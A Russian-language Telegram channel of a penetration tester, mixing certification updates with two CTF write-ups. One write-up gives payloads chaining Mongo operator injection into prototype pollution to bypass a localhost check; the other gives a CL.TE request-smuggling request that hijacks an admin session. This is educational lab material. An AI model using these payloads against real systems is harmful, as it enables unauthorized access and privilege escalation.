Fail Auth
197 subscribers
52 photos
30 links
На этом канале я буду делиться своими открытиями, инсайтами из мира информационной безопасности и инструментами для пентеста.

Связаться со мной: @konstanto0

Offensive security | Rad Cop
https://radcop.online/
https://t.me/radcop_online
Download Telegram
Всем привет!
Давненько меня не было слышно.
Хочу поделиться мыслями за последнее время и планами по сертификатам на 2026 год. Относительно недавно поймал себя на мысли, что я вообще ничего не знаю. Причём чем больше прокачиваюсь в технических штуках, тем отчётливее это понимаю. Коллеги подсказали, что это называется «осознанная некомпетентность». 🤯

После Академии RAD COP (писал об этом тут) и нескольких выполненных проектов у меня было ощущение, что я уже всё могу и дальше будет легко. Но не тут-то было. Чем больше знаний я получал на проектах от старших коллег, тем меньше становилось уверенности 🤔
Речь вовсе не про готовность самостоятельно выполнять проекты, а о качественном выполнении проектов самостоятельно. «Делать плохо — ума не надо».

В итоге с постоянным чувством нехватки знаний и такими мыслями, перед новым годом приобрёл подписку на HTB. Туда входят два интересных для меня пути обучения — CWES и CPTS. CWES интересует больше, так как я в основном фокусируюсь на пентесте внешнего периметра и веба. CPTS тоже обязательно пройду — знания по инфре лишними не будут, да и заплачено 🐸
Путь по вебу прошёл довольно быстро, осталось сдать экзамен. После этого обязательно поделюсь впечатлениями.

По планам: в этом году в идеале хочу забрать OSCP, а ближе к концу года — OSWA.
Первый год пройден — полёт нормальный!
Всем терпения, успехов и позитива!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥8👍54😎1
Всем привет!
Уже весна, а я все никак не могу вернуться к актиновсти на канале.
Год со старта довольно загружен: проекты, обучение, порой просто лень ☹️
Буду стараться делиться с вами полезным чаще.
Тем более есть повод ⤵️

Про вашу инфраструктуру уже кое-что знают.
Возможно, больше, чем вы.

5 марта в 16.00 на вебинаре мой коллега из ПК "РАД КОП" покажет, как безопаснику самому собрать картину своей внешней поверхности атаки — быстро и без иллюзий.

➡️Что можно узнать о себе из открытых источников?
➡️Как это делают злоумышленники?
➡️И как начать делать это первыми?

⬇️ Подробности — в посте РАД КОП ниже
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍3🔥2
Представьте: в углу офиса мирно стоит принтер, печатает отчёты… а в это время через него кто-то получает учётки сотрудников и заходит во внутреннюю сеть компании.

Звучит неприятно? Ещё бы.

В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы.

В материале:
— реальные CVE;
— скриншоты атак;
— практические меры защиты, которые можно внедрить уже сейчас.

🖋 Читать статью:
https://radcop.online/blog/articles/vzlomat-cherez-printer
3👍2🤝2
Ну что… Наконец-то я его получил! 💻
Мелочь, а приятно.

Как писал выше, подписку на обучение купил перед НГ. Учебный трек прошёл довольно быстро, но вот с экзаменом всё оказалось не так просто. С первого раза сдать не удалось 🤩
Завалился на все тачки - получил админа, но больше всего трудностей было с RCE.

Если кратко: курс реально супер интересный.
Лично мне проходить его было намного интереснее, чем PortSwigger Academy — но тут, конечно, дело вкуса.

В процессе узнал много полезного и практичного.
Плюс теперь у меня остался хороший конспект — годный для дальнейшей работы.

Если кому интересно — задавайте вопросы, буду рад ответить.
В будущем планирую написать более подробную статью на Хабре о своём опыте прохождения.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥103😱2
Prototype Pollution → Localhost Bypass

Недавно решал веб-челлендж на НТВ (white-box).
На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки.

1️⃣ Первичный анализ
В коде явно видно ограничение доступа к /flag:
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (
remoteAddress === '127.0.0.1' ||
remoteAddress === '::1' ||
remoteAddress === '::ffff:127.0.0.1'
)

То есть флаг доступен только при запросе с localhost.
Следовательно, задача — заставить сервер считать наш запрос локальным.

2️⃣ Точка входа
Обращает на себя внимание эндпоинт обновления заметок /update:
await Note.findByIdAndUpdate(noteId, req.body);

Здесь:
- пользовательский ввод (req.body) передаётся напрямую в Mongo
- отсутствует фильтрация операторов ($set, $rename и т.д.)
- нет валидации структуры
Это типичный паттерн, приводящий к NoSQL injection.

3️⃣ Подтверждение NoSQL injection
Решил проверить, можно ли управлять выборкой документов:
POST /update

{
"noteId": {
"$ne": null
}
}

Сервер возвращает все заметки → значит можно управлять Mongo-запросом.
Это даёт контроль над фильтрацией и update-операторами.

4️⃣ Эскалация Prototype Pollution
Следующий шаг — проверить, можно ли выйти за пределы обычных полей.
Использовал $rename, чтобы записать значение в специальный путь:
POST /update

{
"noteId": "ID",
"$rename": {
"title": "__proto__.test"
}
}

После этого приложение начинает вести себя нестабильно.
Данные записываются не в документ, а в прототип объектов это ключевой сигнал.

5️⃣ Что такое Prototype Pollution в данном контексте
В JavaScript при обращении к свойству:
obj.prop

движок ищет его:
- в самом объекте
- затем в prototype (proto)
- далее по цепочке

Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты.
В данном случае приводит к глобальному изменению поведения:
__proto__.something = value


6️⃣ Поиск точки использования (gadget)
Теперь ключевой этап — найти, где polluted данные используются.
Очевидные варианты не дают результата:
__proto__.remoteAddress
__proto__.ip

Это означает, что remoteAddress не является обычным полем.

7️⃣ Важный момент — getter
В Node.js req.connection.remoteAddress — это не просто значение,
а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета.
То есть важно не само поле remoteAddress, а источник, из которого оно берётся.

8️⃣ Поиск внутреннего источника
При переборе вложенных и внутренних полей:
__proto__.connection.remoteAddress
__proto__.socket.remoteAddress
__proto__._peername.address


рабочим оказывается:
__proto__._peername.address

Это внутреннее поле, из которого Node берёт адрес клиента.

9️⃣ Эксплуатация
Так как /create принимает только строки, сначала сохраняем нужное значение:
POST /update

{
"title": "::ffff:127.0.0.1",
"content": "x"
}


Далее переносим его в прототип:
POST /update

{
"noteId": "ID",
"$rename": {
"title": "__proto__._peername.address"
}
}


Это приводит к:
Object.prototype._peername.address = "::ffff:127.0.0.1"


1️⃣0️⃣ Результат
При обращении к /flag getter использует _peername.address, который теперь берётся из prototype.
req.connection.remoteAddress


Сервер получает данные и считает запрос локальным:
::ffff:127.0.0.1


Итог
➡️ NoSQL injection → доступ к Mongo operators
➡️ $rename → запись в proto
➡️ prototype pollution → глобальное изменение поведения объектов
➡️ использование внутреннего поля (_peername) → обход IP-проверки

Инсайт
Prototype pollution — это не просто “сломать объект”.
Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤‍🔥3👨‍💻21
Forwarded from Пингискок
Опубликовал новые статьи из серии статей про JWT

Не пугайтесь графика на скриншоте - он просто для наглядности того почему именно работает уязвимость

От структуры токена до атак с PoC:
1. Почему JWT сломан by design
2. Анатомия токена
3. alg:none - одна строчка и ты admin
4. Algorithm Confusion - публичный ключ как пароль
5. kid injection - SQLi через заголовок токена
6. jku/x5u/jwk/x5c - весь заголовок это attack surface
7. Брутфорс секретов на GPU - 150 млн HS256/сек
8. Psychic Signatures - нулевая подпись на Java 15-18

rmrf.tips
👍3🌚1
Forwarded from Пингискок
Продолжение серии про JWT - шесть новых статей

Криптография, шифрование, библиотеки, OAuth/OIDC, XSS и продвинутые криптоатаки:

9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика
10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS
11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену
12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass
13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies
14. Продвинутые криптоатаки — lattice, side-channels, fault injection

Осталось всего 6 статьей (на скриншоте выше) и будем выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝

Предыдущие части постом выше, или тут:
rmrf.tips
👍6❤‍🔥1😱1
Всем привет! 🕵‍♂️

Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучению расписал на год, и всё же решил углубляться в то, что по душе, а именно — в вебчик!
Взял Golden-подписку на HTB и стартую CWEE.

В общем, с проектами и обучением спать будет некогда. На этот счёт у меня одна из любимых фраз: «Тот, кто спит, тот видит только сны».
Но всё же спать рекомендую — сертами менталку не залечишь. 🤪

Погнали!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3❤‍🔥1👨‍💻1
Всем, кто в теме, рекомендую к прочтению! 💻
Делясь знаниями, получаешь больше 🤝
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Path Secure (CuriV)
Хей!

Пост немного задержался...

Но я принес вам Хабр-статью с моей рефлексией по итогам сдачи OSWE!
Поделился своими мыслями и тактиками.

https://habr.com/ru/articles/1024100/

- - -
А я в ближайшие дни стартую новое приключение в сдачу OSEP 😎

#oswe #habr #education #cert
👀4🔥2
Всем привет!

Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сдаче CWES.
Как и обещал 🫡
Почитать можно тут.
🔥8❤‍🔥3👍3👨‍💻1👀1
HTTP Request Smuggling → Privilege Escalation

Разбирал задание с уязвимостью CL.TE (Content-Length / Transfer-Encoding). Сценарий: есть пользователь с низкими привилегиями, есть эндпоинт /admin.php?promote_uid=7. Задача — заставить администратора выполнить запрос от нашего имени.

1️⃣ Суть CL.TE
Фронтенд читает длину тела через Content-Length.
Бэкенд читает тело через Transfer-Encoding: chunked.
Это несоответствие и есть точка входа.

2️⃣ Вредоносный запрос
POST / HTTP/1.1
Host: smuggle.lab
Content-Length: 58
Transfer-Encoding: chunked

0

POST /admin.php?promote_uid=7 HTTP/1.1
X-Something:

Фронтенд видит один запрос — до конца X-Something: (58 байт по CL).
Бэкенд видит другое — пустой чанк 0\r\n\r\n завершает первый запрос, остаток висит в буфере.

3️⃣ Что происходит дальше
Администратор заходит на сайт со своим обычным GET-запросом:
GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>

Его запрос склеивается с нашим "хвостом" в буфере:
POST /admin.php?promote_uid=7 HTTP/1.1
X-Ignore: GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>

Бэкенд видит POST на /admin.php?promote_uid=7 — с куками администратора.

4️⃣ Результат
Привилегии повышены. Администратор ничего не делал целенаправленно — просто открыл страницу.

Итог
➡️ CL.TE несоответствие → контроль над буфером TCP-соединения
➡️ "Подклейка" чужого запроса → выполнение действий от имени жертвы
➡️ Сессионный cookie автоматически уходит вместе с запросом

Инсайт
Request Smuggling — это не просто путаница с заголовками.
Это возможность встроить свой запрос в чужую сессию, не имея доступа к токену.
❤‍🔥4🔥3👍2🕊1🏆1
Наконец-то получил бумажку!
Это было слишком жестко! 🤩
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥123🍾2😱1🐳1🏆1👀1🎃1💘1🦄1